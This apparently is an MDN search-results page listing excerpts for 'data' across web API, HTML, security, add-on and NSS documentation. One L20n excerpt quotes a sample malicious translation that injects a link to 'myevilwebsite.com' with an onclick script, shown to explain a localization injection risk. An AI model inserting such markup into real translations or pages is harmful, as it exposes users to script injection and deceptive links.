...within each iteration we log the primary key of the cursor to the console, something like this (its the album title in each case, which is our primarykey): hemispheres the cursor does not require us to select the data based on a key; we can just grab all of it.
...And 5 more matches
IDBFactorySync - Web APIs
the idbfactorysync interface of the indexeddb api provide a synchronous means of accessing the capabilities of indexed databases.
... method overview idbdatabasesync open (in domstring name, in domstring description, in optional boolean modifydatabase) raises (idbdatabaseexception); methods open() opens and returns a connection to a database.
...if there is already a database with the specified name, it uses that one; otherwise, it creates the database using the specified name and description.
...And 5 more matches
IDBIndex.count() - Web APIs
WebAPIIDBIndexcount
dataerror the key or key range provided contains an invalid key.
... example in the following example we open a transaction and an object store, then get the index lname from a simple contacts database.
... finally, we iterate through each record, and insert the data into an html table.
...And 5 more matches
IDBIndex.getKey() - Web APIs
WebAPIIDBIndexgetKey
dataerror the key or key range provided contains an invalid key.
... example in the following example we open a transaction and an object store, then get the index lname from a simple contacts database.
... finally, we iterate through each record, and insert the data into an html table.
...And 5 more matches
IDBIndex.keyPath - Web APIs
WebAPIIDBIndexkeyPath
syntax var mykeypath = myindex.keypath; value any data type that can be used as a key path.
... example in the following example we open a transaction and an object store, then get the index lname from a simple contacts database.
... finally, we iterate through each record, and insert the data into an html table.
...And 5 more matches
IDBIndex.openCursor() - Web APIs
dataerror the key or key range provided contains an invalid key.
... example in the following example we open a transaction and an object store, then get the index lname from a simple contacts database.
... finally, we iterate through each record, and insert the data into an html table.
...And 5 more matches
IDBObjectStore.clear() - Web APIs
this is for deleting all the current data out of an object store.
... example in the following code snippet, we open a read/write transaction on our database and clear all the current data out of the object store using clear().
... for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...And 5 more matches
IDBObjectStore.delete() - Web APIs
dataerror the key is not a valid key or a key range.
... example in the following code snippet, we open a read/write transaction on our database and delete one specific record out of our object store using delete() — a sample record with the key "walk dog".
... for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...And 5 more matches
IDBObjectStore.index() - Web APIs
notfounderror there is no index with the given name (case-sensitive) in the database.
... example in the following example we open a transaction and an object store, then get the index lname from a simple contacts database.
... finally, we iterate through each record, and insert the data into an html table.
...And 5 more matches
IDBObjectStore.put() - Web APIs
the put() method of the idbobjectstore interface updates a given record in a database, or inserts a new record if the given item does not already exist.
... dataerror any of the following conditions apply: the object store uses in-line keys or has a key generator, and a key parameter was provided.
... datacloneerror the data being stored could not be cloned by the internal structured cloning algorithm.
...And 5 more matches
IDBOpenDBRequest.onblocked - Web APIs
this event is triggered when the upgradeneeded should be triggered because of a version change but the database is still in use (that is, not closed) somewhere, even after the versionchange event was sent.
...}; example var db; // let us open our database var request = indexeddb.open("todolist", 4); // these two event handlers act on the database being opened // successfully, or not request.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; request.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... // this is used a lot below db = request.result; // run the displaydata() function to populate the task list with // all the to-do list data already in the idb displaydata(); }; // this event handles the event whereby a new version of the // database needs to be created.
...And 5 more matches
IDBRequest.error - Web APIs
WebAPIIDBRequesterror
constrainterror if you insert data that doesn't conform to a constraint.
... unknownerror if the operation failed for reasons unrelated to the database itself.
... versionerror if you try to open a database with a version lower than the one it already has.
...And 5 more matches
IDBTransaction.abort() - Web APIs
the abort() method of the idbtransaction interface rolls back all the changes to objects in the database associated with this transaction.
... example in the following code snippet, we open a read/write transaction on our database and add some data to an object store.
...for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...And 5 more matches
IDBVersionChangeEvent - Web APIs
the idbversionchangeevent interface of the indexeddb api indicates that the version of the database has changed, as the result of an idbopendbrequest.onupgradeneeded event handler function.
... idbversionchangeevent.oldversion read only returns the old version of the database.
... idbversionchangeevent.newversion read only returns the new version of the database.
...And 5 more matches
RTCRtpTransceiver.currentDirection - Web APIs
value rtcrtpsender behavior rtcrtpreceiver behavior "sendrecv" offers to send rtp data, and will do so if the other peer accepts the connection and at least one of the sender's encodings is active1.
... offers to receive rtp data, and does so if the other peer accepts.
... "sendonly" offers to send rtp data, and will do so if the other peer accepts the connection and at least one of the sender's encodings is active1.
...And 5 more matches
RTCRtpTransceiver.direction - Web APIs
value rtcrtpsender behavior rtcrtpreceiver behavior "sendrecv" offers to send rtp data, and will do so if the other peer accepts the connection and at least one of the sender's encodings is active1.
... offers to receive rtp data, and does so if the other peer accepts.
... "sendonly" offers to send rtp data, and will do so if the other peer accepts the connection and at least one of the sender's encodings is active1.
...And 5 more matches
RTCRtpTransceiverDirection - Web APIs
value rtcrtpsender behavior rtcrtpreceiver behavior "sendrecv" offers to send rtp data, and will do so if the other peer accepts the connection and at least one of the sender's encodings is active1.
... offers to receive rtp data, and does so if the other peer accepts.
... "sendonly" offers to send rtp data, and will do so if the other peer accepts the connection and at least one of the sender's encodings is active1.
...And 5 more matches
WebGL2RenderingContext.texImage3D() - Web APIs
h, height, depth, border, format, type, htmlimageelement source); void gl.teximage3d(target, level, internalformat, width, height, depth, border, format, type, htmlvideoelement source); void gl.teximage3d(target, level, internalformat, width, height, depth, border, format, type, imagebitmap source); void gl.teximage3d(target, level, internalformat, width, height, depth, border, format, type, imagedata source); void gl.teximage3d(target, level, internalformat, width, height, depth, border, format, type, arraybufferview?
... srcdata); void gl.teximage3d(target, level, internalformat, width, height, depth, border, format, type, arraybufferview srcdata, srcoffset); parameters target a glenum specifying the binding point (target) of the active texture.
... format a glenum specifying the format of the texel data.
...And 5 more matches
WebGLRenderingContext.texImage2D() - Web APIs
pixels); void gl.teximage2d(target, level, internalformat, format, type, imagedata?
... level, internalformat, width, height, border, format, type, htmlimageelement source); void gl.teximage2d(target, level, internalformat, width, height, border, format, type, htmlvideoelement source); void gl.teximage2d(target, level, internalformat, width, height, border, format, type, imagebitmap source); void gl.teximage2d(target, level, internalformat, width, height, border, format, type, imagedata source); void gl.teximage2d(target, level, internalformat, width, height, border, format, type, arraybufferview srcdata, srcoffset); parameters target a glenum specifying the binding point (target) of the active texture.
... ● rgba16ui rgba ui16 ui16 ui16 ui16 ● rgba32i rgba i32 i32 i32 i32 ● rgba32ui rgba ui32 ui32 ui32 ui32 ● possible values in webgl2 for the versions of teximage2d that take a texture an htmlimageelement, htmlcanvaselement, htmlvideoelement, imagebitmap, or imagedata gl.alpha: discards the red, green and blue components and reads the alpha component.
...And 5 more matches
Introduction to the Real-time Transport Protocol (RTP) - Web APIs
the real-time transport protocol (rtp), defined in rfc 3550, is an ietf standard protocol to enable real-time connectivity for exchanging data that needs real-time priority.
... note: webrtc actually uses srtp (secure real-time transport protocol) to ensure that the exchanged data is secure and authenticated as appropriate.
...rtp is a data transport protocol, whose mission is to move data between two endpoints as efficiently as possible under current conditions.
...And 5 more matches
WebRTC Statistics API - Web APIs
that function, in turn, uses getstats() to obtain statistics for the connection and to make use of that data.
...upon looking up a statistic category by name, you get an object containing the corresponding data.
... rtcrtpcontributingsourcestats rtcstats data-channel statistics related to one rtcdatachannel on the connection.
...And 5 more matches
Background audio processing using AudioWorklet - Web APIs
create module that defines a audio worklet processor class, based on audioworkletprocessor which takes audio from one or more incoming sources, performs its operation on the data, and outputs the resulting audio data.
... the audio processor class must implement a process() method, which receives incoming audio data and writes back out the data as manipulated by the processor.
...if your processor is just a generator, it can ignore the inputs and just replace the contents of the outputs with the generated data.
...And 5 more matches
WritableStream - Web APIs
the writablestream interface of the the streams api provides a standard abstraction for writing streaming data to a destination, known as a sink.
... the highwatermark property, which is set when creating the counting strategy (line 35), sets the maximum amount of data that the writablestream instance will handle in a single write() operation.
... in this example, it's the maximum amount of data that can be sent to defaultwriter.write() (line 11).
...And 5 more matches
Synchronous and asynchronous requests - Web APIs
asynchronous request if you use an asynchronous xmlhttprequest, you receive a callback when the data has been received.
... example.html (the main page): <!doctype html> <html> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <title>mdn example</title> <script type="text/javascript"> var worker = new worker("mytask.js"); worker.onmessage = function(event) { alert("worker said: " + event.data); }; worker.postmessage("hello"); </script> </head> <body></body> </html> myfile.txt (the target of the synchronous xmlhttprequest invocation): hello world!!
... mytask.js (the worker): self.onmessage = function (event) { if (event.data === "hello") { var xhr = new xmlhttprequest(); xhr.open("get", "myfile.txt", false); // synchronous request xhr.send(null); self.postmessage(xhr.responsetext); } }; note: the effect is asynchronous, because of the use of the worker.
...And 5 more matches
Understandable - Accessibility
3.2.2 on input (a) when data is inputted into a control, or a setting is changed, context should not be changed unexpectedly.
... see form data validation for comprehensive validation information, and wai-aria: dynamic content updates for information on live regions.
... 3.3.2 labels or instructions (a) clear instructions should be provided when data input is required.
...And 5 more matches
<input type="datetime-local"> - HTML: Hypertext Markup Language
note: also bear in mind that if such data is submitted via http get, the colon character will need to be escaped for inclusion in the url parameters, e.g.
... note: when the data entered by the user doesn't adhere to the stepping configuration, the user agent may round to the nearest valid value, preferring numbers in the positive direction when there are two equally close options.
... using datetime-local inputs date/time inputs sound convenient at first glance; they provide an easy ui for choosing dates and times, and they normalize the data format sent to the server, regardless of the user's locale.
...And 5 more matches
<input type="radio"> - HTML: Hypertext Markup Language
WebHTMLElementinputradio
you can try out this example here: data representation of a radio group when the above form is submitted with a radio button selected, the form's data includes an entry in the form contact=value.
... for example, if the user clicks on the "phone" radio button then submits the form, the form's data will include the line contact=phone.
... if you omit the value attribute in the html, the submitted form data assigns the value on to the group.
...And 5 more matches
<input type="range"> - HTML: Hypertext Markup Language
WebHTMLElementinputrange
additional attributes in addition to the attributes shared by all <input> elements, range inputs offer the following attributes: attribute description list the id of the <datalist> element that contains optional pre-defined options max the maximum permitted value min the minimum permitted value step the stepping interval, used both for user interface and validation purposes list the values of the list attribute is the id of a <datalist> element located in the same document.
... the <datalist> provides a list of predefined values to suggest to the user for this input.
... note: when the data entered by the user doesn't adhere to the stepping configuration, the user agent may round to the nearest valid value, preferring numbers in the positive direction when there are two equally close options.
...And 5 more matches
<script>: The Script element - HTML: Hypertext Markup Language
WebHTMLElementscript
the html <script> element is used to embed executable code or data; this is typically used to embed or refer to javascript code.
... content categories metadata content, flow content, phrasing content.
... permitted parents any element that accepts metadata content, or any element that accepts phrasing content.
...And 5 more matches
Using the application cache - HTML: Hypertext Markup Language
the notification bar displays a message such as: this website (example.com) is asking to store data on your computer for offline use.
... storage location and clearing the offline cache in chrome you can clear the offline cache by selecting "clear browsing data..." in the preferences or by visiting chrome://appcache-internals/.
... in firefox, the offline cache data is stored separately from the firefox profile—next to the regular disk cache: windows vista/7: c:\users\<username>\appdata\local\mozilla\firefox\profiles\<salt>.<profile name>\offlinecache mac/linux: /users/<username>/library/caches/firefox/profiles/<salt>.<profile name>/offlinecache in firefox the current status of the offline cache can be inspected on the about:cache page (under the "offline cache device" heading).
...And 5 more matches
Cross-Origin Resource Sharing (CORS) - HTTP
WebHTTPCORS
an example of a cross-origin request: the front-end javascript code served from https://domain-a.com uses xmlhttprequest to make a request for https://domain-b.com/data.json.
... the cors mechanism supports secure cross-origin requests and data transfers between browsers and servers.
...additionally, for http request methods that can cause side-effects on server data (in particular, http methods other than get, or post with certain mime types), the specification mandates that browsers "preflight" the request, soliciting supported methods from the server with the http options request method, and then, upon "approval" from the server, sending the actual request.
...And 5 more matches
Optimizing startup performance - Web Performance
instead, you should write your code so that your app creates a web worker that does as much as possible in a background thread (for example, fetching and processing data.) then, anything that must be done on the main thread (such as user events and rendering ui) should be broken up into small pieces so that the app's event loop continues to cycle while it starts up.
... if you need to decode asset files (for example, decoding jpeg files and turning them into raw texture data for later use by webgl), that's great to do in workers.
... when dealing with data supported by the browser (for example, decoding image data), use the decoders built into the browser or device rather than rolling your own or using one from the original codebase.
...And 5 more matches
Progressive web app structure - Progressive web apps (PWAs)
it's different with html, as the browser is actually streaming the data already and you can see when the elements are loaded and rendered on the website.
... the streams api allows developers to have direct access to data streaming from the server — if you want to perform an operation on the data (for example, adding a filter to a video), you no longer need to wait for all of it to be downloaded and converted to a blob (or whatever) — you can start right away.
...icles about progressive web apps."> <meta name="author" content="end3r"> <meta name="theme-color" content="#b12a34"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta property="og:image" content="icons/icon-512.png"> <link rel="shortcut icon" href="favicon.ico"> <link rel="stylesheet" href="style.css"> <link rel="manifest" href="js13kpwa.webmanifest"> <script src="data/games.js" defer></script> <script src="app.js" defer></script> </head> <body> <header> <p><a class="logo" href="http://js13kgames.com"><img src="img/js13kgames.png" alt="js13kgames"></a></p> </header> <main> <h1>js13kgames a-frame entries</h1> <p class="description">list of games submitted to the <a href="http://js13kgames.com/aframe">a-frame category</a> in the <a href="http://2017.js13kgame...
...And 5 more matches
How to make PWAs re-engageable using Notifications and Push - Progressive web apps (PWAs)
create a notification the example app creates a notification out of the available data — a game is picked at random, and the chosen one feeds the notification with the content: it sets the game's name as the title, mentioning the author in the body, and showing the image as an icon: function randomnotification() { var randomitem = math.floor(math.random()*games.length); var notiftitle = games[randomitem].name; var notifbody = 'created by '+games[randomitem].author+'.
...'; var notifimg = 'data/img/'+games[randomitem].slug+'.jpg'; var options = { body: notifbody, icon: notifimg } var notif = new notification(notiftitle, options); settimeout(randomnotification, 30000); } a new random notification is created every 30 seconds until it becomes too annoying and is disabled by the user.
... push push is more complicated than notifications — we need to subscribe to a server that will then send the data back to the app.
...And 5 more matches
Web security
even simple bugs in your code can result in private information being leaked, and bad people are out there trying to find ways to steal data.
... the web security-oriented articles listed here provide information that may help you secure your site and its code from attacks and data theft.
... content security content security policy (csp) content security policy (csp) is an added layer of security that helps to detect and mitigate certain types of attacks, including cross-site scripting (xss) and data injection attacks.
...And 5 more matches
Caching compiled WebAssembly modules - WebAssembly
caching via indexeddb indexeddb is a transactional database system that allows you to store and retrieve structured data on the client-side.
...additionally, it handles creating a database to cache the compiled wasm modules in, attempts to store new modules in the database, and retrieves previously cached modules from the database, saving you from having to download them again.
... the function starts off by defining some necessary constants: function instantiatecachedurl(dbversion, url, importobject) { const dbname = 'wasm-cache'; const storename = 'wasm-cache'; setting up the database the first helper function contained inside instantiatecachedurl() — opendatabase() — creates an object store for storing wasm modules, and also handles clearing out the database if the dbversion is updated; it returns a promise resolving to the new database.
...And 5 more matches
Communicating With Other Scripts - Archive of obsolete content
in the main add-on code, we have a page-mod that attaches the content script "talk.js" to the right page: var data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "http://my-domain.org/listen.html", contentscriptfile: data.url("talk.js") }); the "talk.js" content script uses window.postmessage() to send the message to the page: // content-script (talk.js) window.postmessage("message from content script", "http://my-domain.org/"); the second argument may ...
... finally, "listen.html" uses window.addeventlistener() to listen for messages from the content script: <!doctype html> <html> <head></head> <body> <script> window.addeventlistener('message', function(event) { window.alert(event.data); // message from content script }, false); </script> </body> </html> messaging from page script to content script sending messages from the page script to the content script is just the same, but in reverse.
... here "main.js" creates a page-mod that attaches "listen.js" to the web page: var data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "http://my-domain.org/talk.html", contentscriptfile: data.url("listen.js") }); the web page "talk.html" embeds a script that uses window.postmessage() to send the content script a message when the user clicks a button: <!doctype html> <html> <head></head> <body> <script> function sendmessage() { window.postmessage("message from page script", "http://my-domain.org/"); } </script> <button onclick="sendmessage()">send message</button> </body> </html> finally, the content script "listen.js" uses window.addeventlistener() to listen for messages from the page script: // l...
...And 4 more matches
places/history - Archive of obsolete content
usage this module exports a single function, search(), which synchronously returns a placesemitter object which then asynchronously emits data and end or error events that contain information about the state of the operation.
... example let { search } = require("sdk/places/history"); // simple query search( { url: "https://developers.mozilla.org/*" }, { sort: "visitcount" } ).on("end", function (results) { // results is an array of objects containing // data about visits to any site on developers.mozilla.org // ordered by visit count }); // complex query // the query objects are or'd together // let's say we want to retrieve all visits from before a week ago // with the query of 'ruby', but from last week onwards, we want // all results with 'javascript' in the url or title.
...60*60*24*7); search( // first query looks for all entries before last week with 'ruby' [{ query: "ruby", to: lastweek }, // second query searches all entries after last week with 'javascript' { query: "javascript", from: lastweek }], // we want to order chronologically by visit date { sort: "date" } ).on("end", function (results) { // results is an array of objects containing visit data, // sorted by visit date, with all entries from more than a week ago // that contain 'ruby', *in addition to* entries from this last week // that contain 'javascript' }); globals functions search(queries, options) queries can be performed on history entries by passing in one or more query options.
...And 4 more matches
Localization - Archive of obsolete content
the sdk supports localization of strings appearing in: your main add-on's javascript code html files packaged with your add-on the title, description and homepage fields of your add-on's metadata the title and description fields of your add-on's preferences.
... you'd add two files to the "locale" directory: my-addon/ data lib locale/ en-us.properties fr.properties "en-us.properties" contains this: hello_id= hello!
... to reference localized strings from html, add a data-l10n-id attribute to the html tag where you want the localized string to appear, and assign the identifier to it: <html> <body> <h1 data-l10n-id="hello_id"></h1> </body> </html> then you can use this html file to build your interface, for example inside a panel: var button = require("sdk/ui/button/action").actionbutton({ id: "localized-hello", label: "localized hello", icon: "./...
...And 4 more matches
Preferences - Archive of obsolete content
each entry in the preferences database (prefs.js) has one of those types.
...var value = prefs.getboolpref("typeaheadfind"); // get a pref (accessibility.typeaheadfind) prefs.setboolpref("typeaheadfind", !value); // set a pref (accessibility.typeaheadfind) complex types as noted in the previous section, each entry in the preferences database (prefs.js) must have a string, an integer, or a boolean value.
...example: // prefs is an nsiprefbranch // example 1: getting unicode value var value = prefs.getcomplexvalue("preference.with.non.ascii.value", components.interfaces.nsisupportsstring).data; // example 2: setting unicode value var str = components.classes["@mozilla.org/supports-string;1"] .createinstance(components.interfaces.nsisupportsstring); str.data = "some non-ascii text"; prefs.setcomplexvalue("preference.with.non.ascii.value", components.interfaces.nsisupportsstring, str); nsipreflocalizedstring another complex type supported by mozilla is nsipreflocalizedstr...
...And 4 more matches
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
most extensions consist of a single content package2 the locale package this package is used to contain language data that can be translated.
...: function() { }, // save session (event handler) save: function(event) { }, // restore session (event handler) restore: function(event) { }, // delete session (event handler) clear: function(event) { }, // dynamically generate menu items (event handler) createmenu: function(event) { }, // read file _readfile: function(afile) { }, // write file _writefile: function(afile, adata) { }, }; window.addeventlistener("load", function(){ gsessionstore.init(); }, false); window.addeventlistener("unload", function(){ gsessionstore.uninit(); }, false); wrap methods and variables as properties of objects you’ll note that in listing 15, i’ve defined a lot of different methods and variables as properties of a single object, gsessionstore.
... createinstance(components.interfaces.nsiconverterinputstream); cvstream.init(stream, "utf-8", 1024, components.interfaces.nsiconverterinputstream.default_replacement_character); var content = ""; var data = {}; while (cvstream.readstring(4096, data)) { content += data.value; } cvstream.close(); return content.replace(/\r\n?/g, "\n"); } catch (ex) { } return null; }, _writefile method creates a new file for the nslfile object passed as a parameter, and writes the text string, also passed as a parameter.
...And 4 more matches
Appendix D: Loading Scripts - Archive of obsolete content
the scripts still need to execute all of their initialization code and allocate and initialize all of their data structures each time the script is loaded.
...in addition to the possible performance concerns, passing data between these compartments is not entirely transparent.
... data sharing: as modules are loaded only once globally, every import has access to the same data and global variables no matter what context or window it was imported from.
...And 4 more matches
Layout System Overview - Archive of obsolete content
this causes the style system to apply all style rules that correspond to the element and results in a resolved style context - the style data specific to that element.
...so far the general flow of layout looks like this: obtain a document's content model utilize the style system to resolve the style of each element in the content model construct the frames that correspond to the content model, according to the resolved style data.
...the idea of formatting text and graphics to fit within a given screen area sounds simple, but the interaction of in-flow and out-of-flow elements, the considerations of incremental page rendering, and the performance concerns of dynamic content changes makes for a system that has a lot of work to do, and a lot of data to manage.
...And 4 more matches
Supporting per-window private browsing - Archive of obsolete content
firefox 20 introduced per-window private browsing mode, in which private user data is stored and accessed concurrently with public user data from another window.
...you can then take action based on this value, as any data or actions originating from this window should be considered private.
...in some cases, there is no logical window object to use (such as when data or an action originate from some other source than web content).
...And 4 more matches
Table Cellmap - Archive of obsolete content
introduction the table layout use the cellmap for two purposes: quick lookup of table structural data store of the border collapse data the cellmap code is contained in nscellmap.cpp and nscellmap.h this document does currently describe only the quick lookup part of the game, border collapse is still far away cellmap data - overview the entries in the cellmap contain information about the table cell frame corresponding to a given row and column number (celldata.h).
...if mspan is 0 then morigcell is in effect 81 // and the data does not represent a span.
... if mspan is 1, then mbits is in 82 // effect and the data represents a span.
...And 4 more matches
Venkman Introduction - Archive of obsolete content
(note that venkman displays usage data when it starts up: "recorded local startup x, global yyy." this data comes from a counter built in to the application.
... for more information about this counter and the data, see item 2.2 in the venkman faq.) when you first start venkman, the basic views are arranged as in the screenshot above—though you can customize the layout and presence of the different views however you want, as we describe in the view customization section below.
...when you enable profiling by clicking this button, a green checkmark appears next to the button and profile data for every function is collected, and can be saved by choosing save profile data as...
...And 4 more matches
Result Generation - Archive of obsolete content
« previousnext » rdf in this section, we'll look at generating template output using rdf datasources.
...a resource's value is a uri which for your own rdf data you can just make up (though if you plan to use your model with others, it should be unique, preferably a url for a site you own, so as to avoid future conflicts with mixing of other types).
...here is an example: <vbox datasources="http://www.xulplanet.com/ds/sample.rdf" ref="http://www.xulplanet.com/rdf/a" flex="1"> this is an indicator that we want to construct a xul template using the reference point with the uri 'http://www.xulplanet.com/rdf/a'.
...And 4 more matches
Using Recursive Templates - Archive of obsolete content
after the data is generated, each result is used as the new reference point for a nested iteration of the template.
...both the rdf and xml datasource types support recursion.
... for example, using this xml datasource: <people> <group name="male"> <person name="napoleon bonaparte"/> <person name="julius caesar"/> <person name="ferdinand magellan"/> </group> <group name="female"> <person name="cleopatra"/> <person name="laura secord"/> </group> </people> we could display this data in a flat list by using the right query: <query expr="group/person/"> or, we could display one level for the two groups, and use another level for each person.
...And 4 more matches
query - Archive of obsolete content
ArchiveMozillaXULquery
the attributes and content of the query are dependent on the type of datasource being used.
... for rdf datasources, the query should contain one content element as well as member and/or triple elements.
... for xml datasources, the query should have an expr attribute and may optionally contain assign elements.
...And 4 more matches
NPP_WriteReady - Archive of obsolete content
description the browser calls npp_writeready before each call to npp_write to determine whether a plug-in can receive data and how many bytes it can receive.
... this function allows the browser to send only as much data to the instance as it can handle at one time, making resource use more efficient for both the browser and plug-in.
... the npp_write function may pass a larger buffer, but the plug-in is required to consume only the amount of data returned by npp_writeready.
...And 4 more matches
Implementation Status - Archive of obsolete content
supported 4.7 resolving id references in xforms unsupported 4.7.1 references to elements within a repeat element unsupported 4.7.2 references to elements within a bind element unsupported 4.8 dom interface for access to instance data supported 4.8.1 getinstancedocument() supported 4.8.2 rebuild() supported 4.8.3 recalculate() supported 4.8.4 revalidate() supported 4.8.5 refresh() supported ...
...datatypes section title status notes bugs 5.1 xml schema built-in datatypes partial whitespace facet not supported.
... 5.2.1 additional xforms datatypes to allow empty content unsupported 5.2.2 xforms:listitem supported 5.2.3 xforms:listitems supported 5.2.4 xforms:daytimeduration supported 5.2.5 xforms:yearmonthduration supported 5.2.6 xforms:email unsupported 5.2.7 xforms:card-number unsupported supported types: string, normalized string, token, language, boolean, gday, gmonth, gyear, gyearmonth, gmonthday, date, time, datetime, duration, integer, nonpositiveinteger, negativeinteger, posi...
...And 4 more matches
Visual typescript game engine - Game development
multirtc2 used for data transfer also for video chat.
...already implemented: -video chat webrtc (sip) chat and data communication.
... client config if you want web app without any networking then setup: appusenetwork: boolean = false; you want to use communication for multiplayer but you don't want to use server database account sessions.
...And 4 more matches
The HTML5 input types - Learn web development
now we'll look at the functionality of newer form controls in detail, including some new input types, which were added in html5 to allow collection of specific types of data.
... client-side validation as you can see above, email, along with other newer input types, provides built-in client-side error validation — performed by the browser before the data gets sent to the server.
... it is a helpful aid to guide users to fill out a form accurately, and it can save time — it is useful to know that your data is not correct immediately, rather than having to wait for a round trip to the server.
...And 4 more matches
HTML table advanced features and accessibility - Learn web development
ll3</td> </tr> <tr> <td>cell4</td> <td>cell5</td> <td>cell6</td> </tr> </table> the output of which looks something like this: title1 title2 title3 cell1 cell2 cell3 cell2 cell3 cell4 cell5 cell6 tables for visually impaired users let's recap briefly on how we use data tables.
... a table can be a handy tool, for giving us quick access to data and allowing us to look up different values.
...to understand its information we make visual associations between the data in this table and its column and/or row headers.
...And 4 more matches
Componentizing our React app - Learn web development
tasks as data each of our tasks currently contains three pieces of information: its name, whether it has been checked, and its unique id.
... this data translates nicely to an object.
... since we have more than one task, an array of objects would work well in representing this data.
...And 4 more matches
Focus management with Vue refs - Learn web development
vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure.
...this can be useful for things like data fetching, where you may need to get your data before your component renders, or after a property changes.
...data and events are not yet available.
...And 4 more matches
Handling common accessibility problems - Learn web development
the three most common examples are links, form labels, and data tables.
...the trouble with forms is that you need labels to say what data should be entered into each form input.
... finally, a quick word about data tables.
...And 4 more matches
Error codes returned by Mozilla APIs
ns_error_factory_not_loaded (0x800401f8) ns_error_factory_exists (0xc1f30100) ns_error_factory_no_signature_support (0xc1f30101) ns_error_proxy_invalid_in_parameter (0x80010010) ns_error_proxy_invalid_out_parameter (0x80010011) ns_error_cannot_convert_data (0x80460001) ns_error_object_is_immutable (0x80460002) ns_error_loss_of_significant_data (0x80460003) ns_error_illegal_during_shutdown (0x8046001e) many operations cannot be performed once the application is being shutdown.
... ns_base_stream_would_block (0x80470007) this error occurs when an attempt is made to read from a non blocking stream yet there is not enough data available to read without waiting for more.
... ns_error_dom_no_data_allowed_err (0x80530006) ns_error_dom_no_modification_allowed_err (0x80530007) this error can occur when an attempt is made to modify an aspect of an object that cannot be changed.
...And 4 more matches
Communicating with frame scripts
after the name, you can pass detailed data as a string or a json-serializable object, and after that you can pass any objects it wants to pass to content as cpows.
... the example below sends a message named "my-e10s-extension-message", with a data payload containing details and tag properties, and exposes the event.target object as a cpow: // frame script addeventlistener("click", function (event) { sendasyncmessage("my-addon@me.org:my-e10s-extension-message", { details : "they clicked", tag : event.target.tagname }, { target : event.target }); }, false); to receive messages from content, a chrome script needs to add a message listener using the message manager's addmessagelistener() api.
... data the json object passed as the second parameter to sendasyncmessage().
...And 4 more matches
How Mozilla determines MIME Types
introduction all data handling in mozilla is based on the mime type of the content.
...however, starting in mozilla 1.7alpha, mozilla does do content sniffing, like this: when the content-type sent by the server is one of (case-sensitively) text/plain text/plain; charset=iso-8859-1 text/plain; charset=iso-8859-1 and the server did not send a content-encoding header, mozilla will sniff the first block of data it gets and check for non-text bytes.
... checks whether the data is html by looking for some common html tags.
...And 4 more matches
IPDL Tutorial
*/ bool recvready() = 0; }; class ppluginchild { protected: bool recvinit(const nscstring& pluginpath) = 0; bool recvshutdown() = 0; public: bool sendready() { // generated code to send a ready() message } }; these parent and child abstract classes take care of all the "protocol layer" concerns: serializing data, sending and receiving messages, and checking protocol safety.
... the parameters of the recv* methods (const nscstring& pluginpath in the example) are references to temporary objects, so copy them if you need to keep their data around.
...parameters specify data that are sent with the message.
...And 4 more matches
L20n HTML Bindings
<link rel="localization" href="../locales/manifest.json"> an example of the manifest file (all keys are required): { "locales": [ "en-us", "pl"], "default_locale": "en-us", "resources": [ "../locales/{{locale}}/strings.l20n", "/shared/{{locale}}/date.l20n"¨ ] } make html elements localizable use the data-l10n-id attribute on an html element to mark it as localizable.
... <p data-l10n-id="about"></p> notice that you don't have to put the text content in the html anymore (you still can if you want to).
...consider the following source html: <p data-l10n-id="save"> <input type="submit"> <a href="/main" class="btn-cancel"></a> </p> assume the following malicious translation: <save """ <input value="save" type="text"> or <a href="http://myevilwebsite.com" onclick="alert('pwnd!')" title="back to the homepage">cancel</a>.
...And 4 more matches
FC_Decrypt
name fc_decrypt - decrypt a block of data.
... syntax ck_rv fc_decrypt( ck_session_handle hsession, ck_byte_ptr pencrypteddata, ck_ulong usencrypteddatalen, ck_byte_ptr pdata, ck_ulong_ptr pusdatalen ); parameters hsession [in] session handle.
... pencrypteddata [in] pointer to encrypted data block.
...And 4 more matches
NSC_InitToken
specifically, nsc_inittoken() initializes or clears the key database, removes the password, and then marks all the user certs in the certificate database as non-user certs.
... (user certs are the certificates that have their associated private keys in the key database.) note: the so password should be the empty string, i.e., ulpinlen argument should be 0.
...the key database is in slot 2.
...And 4 more matches
S/MIME functions
ent mxr 3.2 and later nss_cmscontentinfo_getcontentencalgtag mxr 3.2 and later nss_cmscontentinfo_getcontenttypetag mxr 3.2 and later nss_cmscontentinfo_setbulkkey mxr 3.2 and later nss_cmscontentinfo_setcontent mxr 3.2 and later nss_cmscontentinfo_setcontent_data mxr 3.2 and later nss_cmscontentinfo_setcontentencalg mxr 3.2 and later nss_cmscontentinfo_setcontent_digesteddata mxr 3.2 and later nss_cmscontentinfo_setcontent_encrypteddata mxr 3.2 and later nss_cmscontentinfo_setcontent_envelopeddata mxr 3.2 and later ns...
...s_cmscontentinfo_setcontent_signeddata mxr 3.2 and later nss_cmsdecoder_cancel mxr 3.2 and later nss_cmsdecoder_finish mxr 3.2 and later nss_cmsdecoder_start mxr 3.2 and later nss_cmsdecoder_update mxr 3.2 and later nss_cmsdigestcontext_cancel mxr 3.2 and later nss_cmsdigestcontext_finishmultiple mxr 3.2 and later nss_cmsdigestcontext_finishsingle mxr 3.2 and later nss_cmsdigestcontext_startmultiple mxr 3.2 and later nss_cmsdigestcontext_startsingle mxr 3.2 and later nss_cmsdigestcontext_update mxr 3.2 and ...
